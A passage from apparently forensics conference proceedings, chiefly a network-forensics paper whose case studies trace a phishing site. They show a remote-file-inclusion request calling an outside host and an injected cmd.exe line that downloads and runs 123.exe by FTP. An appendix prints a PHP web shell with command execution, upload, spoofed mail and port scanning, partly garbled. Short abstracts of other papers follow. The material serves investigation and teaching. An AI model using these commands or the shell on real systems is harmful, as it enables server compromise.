\(^9\) Or not! A surprising number of people will enter information in response to phishing e-mails at sites purporting to belong to companies where they do not have an account.
Starting a packet sniffer at the beginning of this exchange proved to be very useful. Figure 3 shows the TCP packets exchanged when the authors submitted the bogus information shown in Figure 2; the information at the top of the display (in red) shows the HTTP contents of outbound packets from the author's computer and the bottom part of the display (in blue) shows the response from the Web server (Fielding et al., 1999). Note that the block of text starting with method=GET (a common way of submitting form information) contains the strings USERID= has0234%40yahoo.com and PSWD=123456 which correspond to the username and password, respectively, entered in the form shown in Figure 2.

The more interesting item of information is that the host of the login.php file, as shown in the second line of the packet stream, is as26489.epolis.ru. So, although the bogus server is housed in the .cn domain, the user information is going to .ru (Russia), having been referred via the bogus Web site (as noted in the Referer line).
The login attempt will always be successful, of course, because this site is not authenticating users but merely collecting usernames and passwords. Having succeeded at that, the site shows a page where the user can edit their account information. The authors supplied additional bogus information on this page, too; note that at this point, all pretense of carrying an Amazon.com address in the URL are dropped (Figure 4).

After hitting the SUBMIT button, the user is then taken to the legitimate Amazon.com Web site (Figure 5). Here, of course, the author is greeted by name, a result of the Amazon cookies on the author's computer. Any doubts as to the legitimacy of the previous few pages is all but erased by the appearance of a familiar page which greets one by name and has a proper URL.

The network analysis had only begun at this point; the next step was the use of DNS tools to track the IP addresses of the bogus sites (Nikkel, 2004). Looking up the host name creditunion.pm168.com.cn revealed the canonical name of s310.now.net.cn and an IP address of 61.145.112.138. The IP address was within range assigned to the Asia-Pacific Network Information Center (APNIC) and, in turn, to a smaller block that been allocated to the China Network Information Center (CNNIC), responsible for IP address assignments in China. A traceroute to this particular address showed a handoff to China Telecom USA prior to going overseas.

The host name of the server collecting the username, passwords, and credit card information was as26489.epolis.ru with an IP address of 81.177.0.199. This address is part of the RIPE address block; whois information provided contact information at the rt-comm.ru network and a Moscow telephone number.

Figure 4. Entering bogus credit card information.
4.3 Case Study #3: Web E-commerce Server Hack

In February 2006, the authors were involved in an investigation of an e-commerce server that had been hacked. The system administrator re-built the server using a new hard drive so that we were able to take a close look at the compromised system.

One of the key points in the exam was found in the Web server logs. In particular, this HTTP GET command entry stood out:

```
192.0.2.36 - - [10/Jan/2006:15:08:38 -0500] "GET /shoppingcart/includes/orderSuccess.inc.php?cmd=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3Bid;echo%3B%65%63%68%6F%20%5F%45%4E%44%5F;echo;&glob=1&cart_order_id=1&glob[rootDir]=http://contnou.sapte.ro/srdyh.pdf HTTP/1.1" 200 2423 "-" "-
```

The version of the e-commerce shopping cart software employed by this particular business at the time had a vulnerability whereby a nefarious user could force the server to execute a command. In this case, the "%xx" entries represented the hexadecimal representation of ASCII characters and "translate" to the following command:

```
```

In this case, the attacker was able to upload and execute the PDF file named in the command. One simple tool that we employed was the Sam Spade\(^\text{10}\) safe browser, which allows the user to visualize a Web page's Hypertext Markup Language (HTML) code without actually rendering the page. We found not a PDF file, but an HTML page that allows an attacker to design an exploit code (Figure 6). The entire file is shown in Appendix A.

\(^{10}\) http://www.samspace.org
Subsequent examination showed that this access came from a host on an ISP in New York City. The contnou.sapte.ro host -- ostensibly in the Romania (.ro) domain -- resolved to an IP address within a block allocated to another New York City ISP.

### 4.4 Case Study #4: One Hole is All an Exploit Needs

One common vulnerability of software is susceptibility to so-called buffer overflows, where a nefarious user can enter more information than the software is expecting, causing unexpected results. Properly written software will detect and ignore accidental or purposeful buffer overflow attempts, but many such vulnerabilities remain. Some buffer overflow exploits allow a nefarious user to send a set of instructions to a server; a Bad Guy will use this vulnerability to install a rootkit, allowing the attacker to return later and own the system. Other variants of this theme are those vulnerabilities that will allow an attacker to force an application to execute a single command of the attacker's choosing.

In late 2006, the authors investigated a hacked Web site at a small business running Windows 2003 Server. The systems administrator had noticed unusual log entries and then found that his system was running a number of unknown applications.
One item that the sysadmin found was this entry in the recent Run command list (Figure 7):

```
\texttt{cmd.exe /c del i\&echo open 192.0.2.68 5685 > i\&echo user l l >> i\&echo get 123.exe >> i \&echo quit >> i \&ftp -n -s:i \&123.exe\&del i\&exit}
```

This line was inserted by exploiting a vulnerability in one of the server's applications that allowed an attacker to inject just one command. But this particular command is a compound command that started up the DOS command interpreter, built an FTP script, used FTP to run the script and download an attack tool, and then executed the attack tool. A detailed parsing of the injected command is below:

```
cmd.exe Run the DOS command interpreter
/c Interpret the string that follows this switch as the command line
del i Delete the file named "i"
\& Concatenate the next item to this command
echo open 192.0.2.68 5685 > i
\& Send the line open 192.0.2.68 5685 to the file i
\& Concatenate the next item to this command
echo user l l >> i
\& Append the line user l l to the file i
\& Concatenate the next item to this command
echo get 123.exe >> i
\& Append the line get 123.exe to file i
\& Concatenate the next item to this command
echo quit >> i
\& Append the line quit to file i
\& Concatenate the next item to this command
ftp -n -s:i
\& Run FTP using file i as the command source (s:i)
\& Concatenate the next item to this command
123.exe Execute the file \texttt{123.exe}
\& Concatenate the next item to this command
del i Delete file i
\& Concatenate the next item to this command
exit Exit this script
```
Simply stated, this single command created a file in the \textit{system32} directory named \textit{i} with the following contents:

\begin{verbatim}
open 192.0.2.68 5685
user 1 1
get 123.exe
quit
\end{verbatim}

The file is a command script for FTP. First, a connection is made to port 5685 on host 192.0.2.68, which is presumably a hidden FTP daemon. The command accesses the FTP server with a username of 1 and a password of 1, downloads a file named \textit{123.exe}, and then exits the FTP server. The IP address that was actually employed resolved back to a Bell Canada DSL customer in the area of London, Ontario.

The nefarious command then executes \textit{123}, deletes the file \textit{i}, and exits the script. We found the file \textit{i}, however, because once control was transferred to \textit{123.exe}, this script was never completed. (Even if it had been deleted, it would have been discoverable anyway with a computer forensics tool since it would have been deleted and not wiped.)

This command was found in the Registry key HKCU\Software\Microsoft\Windows \CurrentVersion\Explorer\RunMRU which made it seem that it was typed in at the keyboard of the server. Finding the vulnerable software, however, made it apparent that the exploit was the way in which this command appeared.

Coincidentally, the authors investigated another incident the following week with a similar attack vector. At that time, a state agency's ISP advised the sysadmin that a large volume of Internet Relay Chat (IRC) traffic was being generated by their server. This traffic was being sent to a host in Japan using TCP port 6669. Numerous other ports were also found to be open on the system.

Examination of event logs showed a number of interesting events starting three months earlier. The server, which had essentially run non-stop for months at a time, performed a sudden restart, right after the execution of a Windows Media Player (WMP) event. This same pattern was seen periodically over the next few months, until the report of the IRC traffic. Upon further examination, we stumbled across a file named \textit{i} -- in the \textit{system32} directory. This file was almost identical to the previous attack except the name of the downloaded file was different and, of course, the IP address was different, this one resolving to a system in Buenos Aires, Argentina. The IP address of the host that ostensibly placed the command on the system was from the Miami, Florida area. Continued examination showed that the system had been infected with many types of malware, including Backdoor.Usirf, Backdoor.Hackdefender, W32.Dropper, and W32.IRCBot.D.

This compromised system was running services over Windows 2000 Professional. It also had an older version of WMP that happened to have a known vulnerability that allows an attacker to elevate their credentials on the target host. In this case, it is believed that WMP provided the first attack vector whereby the same single command as seen the previous week was used to upload some backdoor rootkit; this seems to be a relatively common mechanism with which to insert nefarious code on a foreign host. The installed malware can, of course, take any number of actions and that is how the additional malware was uploaded.

The difference between the two compromises and their investigative results was the logging efforts by the two companies. The first site relied solely on the Windows Event Viewer and the second site used a more robust Web log. Ironically, despite inferior logging capabilities, the first site noticed a problem with their server within days of the attack whereas the second site's initial breach was not noticed for several months, until the increase in IRC traffic was reported. Nevertheless, the second site's logs provided an incredible amount of information in piecing together the attack and helping with the
investigation, whereas there was little network information from the first site due to limitations with the Windows standard logging.

Although both sites had sensitive personal information, no evidence was found to suggest that the sites were specially targeted for that information or even that the information was downloaded. Instead, both target hosts look like they were the victims of an automated attack because they were accessible and vulnerable, and then used to troll for other vulnerable sites.

5. LEGAL ASPECTS AND TOOL RELIABILITY

Because of the newness of network forensic activity, network examiners are often left to use existing and emerging tools that have not yet faced the challenge of being proven valid in court. In some respects, the presentation phase of a digital investigation is the most critical; regardless of what has been found, it is worthless if the information cannot be convincingly conveyed to a judge and jury.

The test for admissibility of scientific evidence in U.S. federal courts (and about a dozen state courts) is called the Daubert test, named for the landmark case, Daubert v. Merrell Dow Pharmaceuticals (O'Connor & Stevens, 2006; Supreme Court of the United States, 1993). According to Daubert, a judge has to determine the admissibility of evidence using the following four guidelines:

- **Testing:** Can -- and has -- the procedure been tested?
- **Error Rate:** Is there a known error rate of the procedure?
- **Publication:** Has the procedure been published and subject to peer review?
- **Acceptance:** Is the procedure generally accepted in the relevant scientific community?

At this time, network forensics examiners use a combination of open source tools and proprietary software for purposes of extracting data and reporting the results of the analysis. Both types of software are open to at least these two questions: 1) did the extraction software get all of the pertinent data, and 2) did the presentation software accurately report the results without omissions?

One way to validate software is by feeding it known input and examining the output, and the National Institute for Standards and Technology (NIST) is taking a lead role in forensics software testing. Another way to validate the tools is by examining the source code. Open source software has an advantage in this regard compared to the closed nature of commercial software. While proprietary software should not be suspect merely because it is secret, there are those that argue that closed software does seem to fly in the face of the Daubert test (Brenner, 2005; Carrier, 2003; Kenneally, 2001).

6. CONCLUSION

As the case studies in the article show, awareness of network commands, general knowledge of Internet protocols, use of packet sniffing software, and familiarity with Web sites and programs that yield information from the DNS are essential tools for digital investigations. The capture and analysis of network traffic represents a future direction of digital investigations and is a significant departure from the current way of conducting traditional computer analysis. Instead of the static scenario in which to conduct a computer examination, live and/or network exams provide a snapshot in time, one that might not be able to be replicated or verified. These new types of investigations will require new tools, processes, and procedures, as well as new skills on the part of the examiner. They will also represent a new challenge to the criminal justice system as practitioners, lawyers, judges, and lawmakers determine how the methodologies fit into existing laws (Brenner, 2005).

While many in the field recommend that computer forensics examiners take more and more programming courses, most practitioners do not, in fact, write programs; most of the tools available

---

today get the job done and are accepted in courts of law whereas homegrown tools will face the uphill battle of validation. On the other hand, knowledge of network analysis and protocols, and the tools with which to support that activity, are possibly even more important skills for the computer forensics examiner. While there are tools that will capture and display network data, the practitioner needs to know how to properly interpret what they are seeing in the context of their investigation.

Put another way, knowledge of network hardware and application protocols is as essential to a network-based investigation as knowledge of computer hardware and file systems is to a computer-based investigation.

7. REFERENCES


APPENDIX A
Suspect PDF File

The following information was returned by the Sam Spade safe browser when attempting to download the PDF file at the URL http://contnou.sapte.ro/srdyh.pdf. Text in red shows the generic Sam Spade display; green text shows the HTTP commands sent by the Sam Spade browser; blue shows the HTTP responses from the Web server, and black shows the HTML code sent from the server.12

02/16/06 13:58:58 Browsing http://contnou.sapte.ro/srdyh.pdf
Fetching http://contnou.sapte.ro/srdyh.pdf ...
GET /srdyh.pdf HTTP/1.1
Host: contnou.sapte.ro
Connection: close
User-Agent: Sam Spade 1.14

HTTP/1.0 200 OK
Date: Thu, 16 Feb 2006 18:57:51 GMT
Server: Apache/1.3.34
Last-Modified: Mon, 09 Jan 2006 14:24:52 GMT
ETag: "1008357-1c6b-43c27234"
Accept-Ranges: bytes
Content-Length: 7275
Content-Type: application/pdf
Age: 70
X-Cache: HIT from Ares
X-Cache-Lookup: HIT from Ares:8080
X-Cache: MISS from Zeus
X-Cache-Lookup: MISS from Zeus:8080
Connection: close

<CENTER>
<DIV STYLE="font-family: verdana; font-size: 25px; font-weight: bold; color: #808080;">
CMD-UX </DIV>
</CENTER>

<?php
if(empty($chdir)) $chdir = @$_GET['chdir'];

//
closelog( );

$dono = get_current_user( );
$ver = phpversion( );
$login = posix_getuid( );
$euid = posix_geteuid( );
$gid = posix_getgid( );
if ( ($chdir == "") $chdir = getcwd( );

---

12 This HTML page is shown here exactly as downloaded. The actual HTML code (starting with the <CENTER> metatag) can be safely pasted into a file and opened by any Web browser to see how it is rendered. An electronic version of this as a text file can be found at http://digitalforensics.champlain.edu/reference/hack.txt.
<?php

$uname = posix_uname( );
while (list($info, $value) = each ($uname)) {

?>
<tr align="left">
    <td><div style="font-family: tahoma; font-size: 15px;">$info: $value</div></td>
</tr>
<?php
}

<tr>
    <tr align="left">
        <td><div style="font-family: tahoma; font-size: 15px;">Script Current User: $dono</div></td>
    </tr>
    <tr align="left">
        <td><div style="font-family: tahoma; font-size: 15px;">PHP Version: $ver</div></td>
    </tr>
    <tr align="left">
        <td><div style="font-family: verdana; font-size: 15px;">User Info: uid($login) euid($euid) gid($gid)</div></td>
    </tr>
    <tr align="left">
        <td><div style="font-family: tahoma; font-size: 15px;">Current Path: $chdir</div></td>
    </tr>
    <tr align="left">
        <td><div style="font-family: tahoma; font-size: 15px;">Server IP: gethostbyname($SERVER_NAME); echo $aaa;</div></td>
    </tr>
    <tr align="left">
        <td><div style="font-family: tahoma; font-size: 15px;">Web Server: "$SERVER_SOFTWARE $SERVER_VERSION";</div></td>
    </tr>
</table>
<br>
<?php

if ($cmd != "") {
    echo "<div style="font-family: verdana; font-size: 15px;\"">
    ...
</div>

<?php

if ($fe == 1){
    $fe = "exec";

132
if ($fe == "") {
    $fe = "passthru";
}
if ($fe == "2") {
    $fe = "system";
}
if (isset($chdir)) @chdir($chdir);
ob_start();
$fe("$cmd  2>&1");
$output = ob_get_contents();
ob_end_clean();
?>
<TEXTAREA COLS="75" ROWS="8" STYLE="font-family: verdana; font-size: 12px;">
<?php
if (!empty($output)) echo str_replace(">", "&gt;", str_replace("<", 
"&lt;", $output));
?>
</TEXTAREA>
<br>
<?php

}  
if ($safemode != ") {
    echo "<DIV STYLE="font-family: verdana; font-size: 15px;">
Safemode Mode Run</DIV>"
;
?>
<DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold;
color: #F3A700;"">Safe Mode Directory Listing</DIV>
<?php
if ($dir = @opendir($chdir)) {
    echo "<TABLE border=1 cellspacing=1 cellpadding=0>";
    echo "<TR>";
    echo "<TD valign=top>";
    echo "<b><font size=2 face=arial>List All Files</b>  <br><br>";
    while (($file = readdir($dir)) !== false) {
        if (@is_file($file)) {
            $file1 = fileowner($file);
            $file2 = fileperms($file);
            echo "<font color=green>$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&see=$file>$file</a><br>");
        // echo "<font color=green>$file1 - $file2 - $file </font><br>";
        flush( );
    }  
    echo "</TD>";
    echo "<TD valign=top>";
    echo "<b><font size=2 face=arial>List Only Folders</b>  <br><br>";
    echo "</TD>";
    echo "</TR>";
    echo "</TABLE>";
}
?>


if ($dir = @opendir($chdir)) {
    while (($file = readdir($dir)) !== false) {
        if (@is_dir($file)) {
            $file1 = fileowner($file);
            $file2 = fileperms($file);
            echo "&lt;font color=blue&gt;$file1 - $file2 - &lt;a href=$SCRIPT_NAME?$QUERY_STRING&chdir=$chdir/$file&gt;$file&lt;/a&gt;&lt;br&gt;";
            // echo "&lt;font color=blue&gt;$file1 - $file2 - $file &lt;/font&gt;&lt;br&gt;";
        }
    }
    echo "&lt;/TD&gt;";
    echo "&lt;TD valign=top&gt;";
    echo "&lt;b&gt;&lt;font size=2 face=arial&gt;List Writable Folders&lt;/b&gt;&lt;br&gt;&lt;br&gt;";
    if ($dir = @opendir($chdir)) {
        while (($file = readdir($dir)) !== false) {
            if (@is_writable($file) && @is_dir($file)) {
                $file1 = fileowner($file);
                $file2 = fileperms($file);
                echo "&lt;font color=red&gt;$file1 - $file2 - $file &lt;/font&gt;&lt;br&gt;";
            }
        }
    }
    echo "&lt;/TD&gt;";
    echo "&lt;/TD&gt;";
    echo "&lt;TD valign=top&gt;";
    echo "&lt;b&gt;&lt;font size=2 face=arial&gt;List Writable Files&lt;/b&gt; &lt;br&gt;&lt;br&gt;";
    if ($dir = opendir($chdir)) {
        while (($file = readdir($dir)) !== false) {
            if (@is_writable($file) && @is_file($file)) {
                $file1 = fileowner($file);
                $file2 = fileperms($file);
                echo "&lt;font color=red&gt;$file1 - $file2 - $file &lt;/font&gt;&lt;br&gt;";
            }
        }
    }
    echo "&lt;/TD&gt;";
    echo "&lt;/TR&gt;";
    echo "&lt;/TABLE&gt;";
}
</pre>

<?php

// Function to Visualize Source Code files
if ($see != "") {
    $fp = fopen($see, "r");
    $read = fread($fp, 30000);
    echo "============ $see =============&lt;br&gt;";
    echo $read;
    fclose($fp);
}
// Function to Download Local Exploite Binary Code or Source Code
if ($dx != "") {
    $fp = @fopen("$hostxpl", "r");
    $fp2 = @fopen("$storage", "w");
    fwrite($fp2, "");
    $fp1 = @fopen("$storage", "a+");
    for (;;) {
        $read = @fread($fp, 4096);
        if (empty($read)) break;
        $ok = fwrite($fp1, $read);
        if (empty($ok)) {
            echo "<DIV STYLE="font-family: verdana; font-size: 15px;">
            [-] An Error Has Occurred While Uploading File</DIV>";
            break;
        }
    }
    if (!empty($ok)) {
        echo "<DIV STYLE="font-family: verdana; font-size: 15px;">
            [*] File Was Successfully Uploaded</DIV>";
    }
}
flush();

// Function to visualize Format Color Source Code PHP
if ($sfc != "") {
    $showcode = show_source("$sfc");
    echo "<font size=4> $showcode </font>";
}

// Function to Visualize all information files
if ($fileinfo != "") {
    $infofile = stat("$fileanalyse");
    while (list($info, $value) = each ($infofile)) {
        echo " Info: $info  Value: $value <br>";
    }
}

// Function to send fake mail
if ($fake == 1) {
    echo "<FORM METHOD=POST ACTION="$.script_name?query_string&send=1">
    echo "Your Fake Mail <INPUT TYPE="" NAME="yourmail""><br>";
    echo "Your Cavy:<INPUT TYPE="" NAME="cavy""><br>";
    echo "Subject: <INPUT TYPE="text" NAME="subject""><br>";
    echo "Text: <TEXTAREA NAME="text" ROWS="" COLS=""</TEXTAREA><br>";
    echo "<INPUT TYPE=""hidden" NAME="send" VALUE="1""><br>";
    echo "<INPUT TYPE=""submit" VALUE="Send Fake Mail">";
    echo "</FORM>";
}
if($send == 1) {
    if (mail($cavy, $subject, $body, "From: $yourmail\r\n")) {
        echo "<DIV STYLE="font-family: verdana; font-size: 15px;">[*] Mail Send Sucessfully</DIV>";
    } else {
        echo "<DIV STYLE="font-family: verdana; font-size: 15px;">[-] An Error Has Ocurred While Sending Mail</DIV>";
    }
}

if ($portscan != "") {
    $port = array ("21","22","23","25","110");
    $values = count($port);
    for ($cont=0; $cont < $values; $cont++) {
        @$sock[$cont] = Fsockopen($SERVER_NAME, $port[$cont], $oi, $oi2, 1);
        $service = Getservbyport($port[$cont],"tcp");
        @$get = fgets($sock[$cont]);
        echo "<br>Port: $port[$cont] - Service: $service<br>";
        echo "<br>Banner: $get<br>";
        flush();
    }
}

?>
</font></pre>
ACKNOWLEDGEMENTS

The first author and this project are partially supported by Grant No. 2006-DD-BX-0282 awarded by the Bureau of Justice Assistance. The Bureau of Justice Assistance is a component of the Office of Justice Programs, which also includes the Bureau of Justice Statistics, the National Institute of Justice, the Office of Juvenile Justice and Delinquency Prevention, and the Office for Victims of Crime. Points of view or opinions in this document are those of the author and do not represent the official position or policies of the United States Department of Justice.

AUTHOR BIOGRAPHIES

Gary C. Kessler is an Associate Professor, chair of the Computer & Digital Forensics program, and director of the Center for Digital Investigation at Champlain College in Burlington, Vermont, and a consultant to the Vermont Internet Crimes Task Force. Gary's teaching and research interests include computer and network forensics and security, and Internet and TCP/IP protocols and applications. Gary is on the editorial boards of the Journal of Digital Forensics, Security and Law and Journal of Digital Forensics Practice. He holds a B.A. in Mathematics and an M.S. in Computer Science, and is a member of the HTCIA.

Matt Fasulo is a Special Agent with the U.S. Secret Service currently stationed in Burlington, Vermont. SA Fasulo has been with the Secret Service since 1998 and a member of the Electronic Crimes Special Agent Program since 1999. During that time, SA Fasulo has investigated numerous network intrusion incidents. He also works with members of the Vermont Internet Crimes Task Force.
Education for Cyber Crime Investigators

David Greer  
Joe Mulenex  
John Hale  
Gavin W. Manes  
Center for Information Security  
University of Tulsa  
Tulsa, OK USA  
gavin-manes@utulsa.edu  
john-hale@utulsa.edu  
david-greer@utulsa.edu  
joe@meketrex.com

ABSTRACT

Digital forensics and cyber crime investigations are continually growing, rapidly changing fields requiring law enforcement agencies to meet very rigorous training requirements. New opportunities for committing criminal activity against persons, organization or property are presented every day with the proliferation of personal digital devices, computers, the internet, computer networks, and automated data systems. Whether the crime involves attacks against computer systems, electronic information, or more traditional crimes such as murder, money laundering or fraud, electronic evidence is becoming more prevalent. It is no surprise that law enforcement and criminal justice officials are being overwhelmed by the volume of investigations and prosecutions that involve electronic evidence. Fortunately, processes and procedures, as well as a variety of software and hardware tools have been developed to speed up and standardize the recovery of evidence from suspect media. Each of these tools provides specific capabilities within certain specialized areas. Training in the proper use of these tools is crucial for recovering forensically sound evidence in a manner which will withstand legal scrutiny. It is crucial for the success of future criminal investigations that the law enforcement community has access to timely, inexpensive, and readily available digital forensics and cyber crime investigations training material. This paper describes the development of a modular educational curriculum for training entry-level criminal investigators in the skills necessary to conduct a cyber crime scene investigation and evidentiary collection through the use of digital forensic tools. The curriculum incorporates multiple training methodologies, including instructor-led and multimedia based coursework. The curriculum’s instructor-led portion uses a classroom style presentation that provides 8-hours of interactive coursework. The participants are engaged in the actual process of evidence collection and a limited presentation on the uses of the forensic tools that are available to them. Additionally, the coursework is scaled to the user’s experience level, broken down to three levels: introductory, intermediate and advanced. The multimedia based coursework is designed to be scalable to a law enforcement agency’s needs. The agency has the ability to select from a list of modular curriculum that targets specific needs of an investigator. In addition to the modular framework of the multimedia course, levels of experience are also incorporated. The multimedia coursework will allow the user to actually engage interactively with the materials, simulating a hands-on investigation. This curriculum offers multiple delivery options that law enforcement agencies can take advantage of, regardless of size or geographical disposition. The material in both the instructor-led and multimedia courses are updated to remain timely and keep the user’s well versed in the latest use of tools and procedures, insuring the investigative and evidentiary process remain intact.

Keywords: digital forensics, law enforcement, education
Textbooks for Computer Forensic Courses: A Preliminary Study

Jigang Liu,
Larry Gottschalk,
Kuodi Jian
Department of Information and Computer Sciences
Metropolitan State University
St. Paul, Minnesota USA
Jigang.liu@metrostate.edu
Larry.Gottschalk@metrostate.edu
Kuodi.Jian@metrostate.edu

ABSTRACT
As computer forensics develops into one of the fastest-growing areas in the computer related fields, many universities and colleges are offering or are planning to offer a course in computer forensics. When instructors begin to develop a new course in the area, one of critical questions they would ask is what textbook should be used. To better answer the question, we conducted a study in which we tried to find which textbooks are being used in computer forensic courses. We believe that the results and analysis of our study will help instructors in choosing adequate textbooks for their new course in computer forensics.

1. INTRODUCTION
With a loss of more than hundred millions dollars due to computer related crimes [3], the prosecution of criminal activities in cyberspace has become a critical issue. As a result, the demand for the professionals with the expertise in collecting, identifying, reconstructing, preserving, analyzing, and presenting digital evidence in a court of law has been increasing radically. In addition, as stated in [2] the number of incoming freshmen in computer science dropped significantly between 2000 and 2004 by an alarming 60%, the authors suggest recenter or revamp computer science programs through updating the curriculum. According to their recommendation, computer forensics is one of the innovative themes in freshman-sophomore courses.

In responding to this demand and also re-energizing the computer science education, many universities and colleges have recently begun or are planning to offer a curriculum or a course in computer forensics as predicted by the authors of [11] and surveyed by the authors of [5]. The experience from the curriculum design for an undergraduate program were introduced in [6, 7] and for a graduate program was discussed in [8]. The issues on course development were presented in [9,10]. To know how to design labs one can find some suggestions in [4, 9].Although designing a course in computer forensics is a primary task, choosing an adequate textbook also plays a significant role in developing and then teaching the course.

In this paper, we will first present the method used in the study and then illustrate the results found over the Internet. The analysis and discussion over the finding is provided next. Finally, the conclusion of the study is given.

2. GUIDELINES AND METHODS
Although computer forensics is a new area of study, there are more than 50 books published on the topic. To find one or two books suitable for a computer forensics course is not an easy task due to many concerns, such as the topics covered in the book, the background of the instructor, the prerequisites for taking the course, and the availability of hardware and software.

In order to setup a solid foundation for the analysis of the selection of a textbook for a computer
forensics course, we decided to collect information from two ends. One is to gather information on all the books on computer forensics so that a pool of the books is available for the selection. The other is to examine all the online syllabi on computer forensics so that the current selections of the textbooks are available for the analysis.

Two sources were mainly used to collect computer forensics books. One is Amazon.com (www.amazon.com) and the other is E-Evidence.com (www.e-evidence.com). Both websites have a sound collection of computer forensic books while Amazon.com has more updated information. In addition to the titles of the books, other information has been recorded as well, such as when it was published, if a CD is included, and the cost. To help us to look up the data, we have created an E-Card, as shown in Figure 1, for each book we found.

![Figure 1 E-Card for Recording a Computer Forensic Textbook](image)

To locate all the computer forensic course syllabi that are available over the Internet is a bit time consuming. The search is based on the google search engine with the key words “computer forensic course syllabus.” Based on the syllabi found over the Internet we can uncover what textbooks have been used and then determine which has the most adoption (the “most adoption” phrase is confusing). As for a computer forensic book, we have also created an E-Card for each syllabus we found, as shown in Figure 2. Through a CF-course E-Card, we can obtain all the information we need, such as the category of the institution, research institution vs. teaching institution vs. two-year colleges; the department which offers the course, computer science vs. management information systems vs. or criminal justice; the textbook or textbooks used, a single textbook vs. multiple textbooks; the type of the course, a lecture-based course vs. an online course vs. an independent study course vs. a hands-on course; and the level of the course, graduate-level vs. senior-level vs. junior-level vs. sophomore-level vs. freshmen-level, etc.
3. SEARCH RESULTS

Through the two resources mentioned previously, we located 75 books that relate to computer forensics. The google search on computer forensic course syllabus returned 792 hits on Sept. 20, 2006. By checking each of the hits, we found 53 course syllabi among 41 institutions. Out of 53 syllabi, 23 different books have been chosen as the textbooks. Table 1 indicates the categories of institutions which offer at least one course in computer forensics. Table 2 shows how the courses offered through various departments. The distribution among the levels of the courses is presented in Table 3. Table 4 provides the three most frequently used textbooks. The way in which the three most popular books are distributed among the 53 syllabi is given in Table 5.

Table 1 Distribution over Institution Categories (N=53)

<table>
<thead>
<tr>
<th>Category</th>
<th># of course</th>
<th>Percentage</th>
</tr>
</thead>
<tbody>
<tr>
<td>Research Institution</td>
<td>19</td>
<td>36</td>
</tr>
<tr>
<td>Teaching Institution</td>
<td>31</td>
<td>58</td>
</tr>
<tr>
<td>Two-year College</td>
<td>3</td>
<td>6</td>
</tr>
</tbody>
</table>

Table 2 Distribution over Departments (N=53)

<table>
<thead>
<tr>
<th>Department</th>
<th># of course</th>
<th>Percentage</th>
</tr>
</thead>
<tbody>
<tr>
<td>Computer Science</td>
<td>32</td>
<td>60</td>
</tr>
<tr>
<td>Criminal Justice</td>
<td>3</td>
<td>6</td>
</tr>
<tr>
<td>Business</td>
<td>10</td>
<td>19</td>
</tr>
<tr>
<td>Other (Interdisciplinary)</td>
<td>8</td>
<td>15</td>
</tr>
</tbody>
</table>
Table 3 Distribution over Level of courses (N=53)

<table>
<thead>
<tr>
<th>Academic Level</th>
<th># of course</th>
<th>Percentage</th>
</tr>
</thead>
<tbody>
<tr>
<td>Graduate</td>
<td>16</td>
<td>31</td>
</tr>
<tr>
<td>Junior or Senior</td>
<td>28</td>
<td>54</td>
</tr>
<tr>
<td>Freshmen or Sophomore</td>
<td>9</td>
<td>18</td>
</tr>
</tbody>
</table>

Table 4 Three most chosen textbooks

<table>
<thead>
<tr>
<th>Title</th>
<th>Author(s)</th>
<th>Year</th>
</tr>
</thead>
<tbody>
<tr>
<td>Incident Response: Computer Forensics</td>
<td>Prosise, C. and Mandia, K.</td>
<td>2003</td>
</tr>
</tbody>
</table>

Table 5 Distribution over three popular books (N=53)

<table>
<thead>
<tr>
<th>Book</th>
<th># of course</th>
<th>Percentage</th>
</tr>
</thead>
<tbody>
<tr>
<td>Phillips and et. al.</td>
<td>14</td>
<td>26</td>
</tr>
<tr>
<td>Kruse and Heiser</td>
<td>8</td>
<td>15</td>
</tr>
<tr>
<td>Prosise and Mandia</td>
<td>5</td>
<td>9</td>
</tr>
</tbody>
</table>

4. ANALYSIS AND DISCUSSION

Based on the search result provided above, we found there has not been a dominate textbook chosen by a majority of the institutions. Although the Phillips’s book has the highest rate of adoption, only one in four schools selected this book.

Teaching institutions have been taking the lead in offering courses in computer forensics. Research institutions also represent a good percentage in offering the course. In terms of departments, computer science has led the crowd. But the study might not be 100 percent accurate because many criminal justice departments might not post the syllabi on the Internet. The low percentage attributed to two-year colleges might also be caused by this reason.

More than 80 percent of the courses have been offered at junior or above level, which indicates the subject needs a higher prerequisite than many other courses. More than 30 percent of the courses have been offered as a graduate level course, which indicates that there is a fair number of people who believe the course should be offered at a graduate level.

The major components of the courses we found are lectures, labs, case studies, and guest speakers. Most of courses were offered by a single instructor but some of them were team-taught. Some universities hired adjunct faculty to teach the skill-based and experience-concentrated components while the full-time faculty covered subjects that are more theory and foundation related. A detailed discussion on the design and construction of computer forensics courses will be presented in a future paper.

5. CONCLUSION

In this paper, we did a primary survey over the available websites provided by the instructors. We appreciate their generosity in sharing their teaching materials with everyone so that this study could be conducted. We realize that a few of schools did not make their teaching materials available on the Internet or removed their teaching materials from the Internet after the classes were over.

We concurred with the opinion presented in [1] that “analogies should not be applied too rigidly or rigorously.” The new program needs the room and time to be further developed and the standardization will prevent it from being fully and healthily developed. “Most importantly, for the
analogy to gain some validity, the next logical step is to look for evidence of concomitant speciation toward security, assurance and forensics concerns in colleges of business and to digital concerns in criminal justice.”

Computer forensics is a growing field and that requires more attention and more coordination to keep it healthy and growing. It is normal for a young field to not have a dominated textbook. As more studies are conducted and more experience is gathered, a consensus on the textbook as well as the topics in a course will be eventually reached.

6. REFERENCES


Do Current Erasure Programs Remove Evidence of BitTorrent Activity?

Andrew Woodward  
School of Computer and Information Science  
Edith Cowan University  
Australia  
a.woodward@ecu.edu.au

Craig Valli  
School of Computer and Information Science  
Edith Cowan University  
Australia  
a.woodward@ecu.edu.au

ABSTRACT

This research in progress aims to evaluate the effectiveness of commercial programs to erase traces of the use of BitTorrent software. The erasure programs MaxErase, P2PDoctor, Privacy Suite, Window Washer and R-Clean and Wipe were used on a machine that had used the BitTorrent client Azureus to download two torrent files. The drive was imaged and then searched for torrent files. The registry was also examined on the source machine. The program R-Clean and Wipe left evidence in both the registry and the image of the name and type of files that had been downloaded with this software. Of greater concern was that the software MaxErase, P2PDoctor, Window Washer and Privacy Suite claimed to erase evidence of P2P activity, but did not remove evidence of torrent activity. Current erasure tools do not appear to be effective at removing traces of BitTorrent activity.

Keywords: P2P, BitTorrent, file sharing, erasure software

1. INTRODUCTION

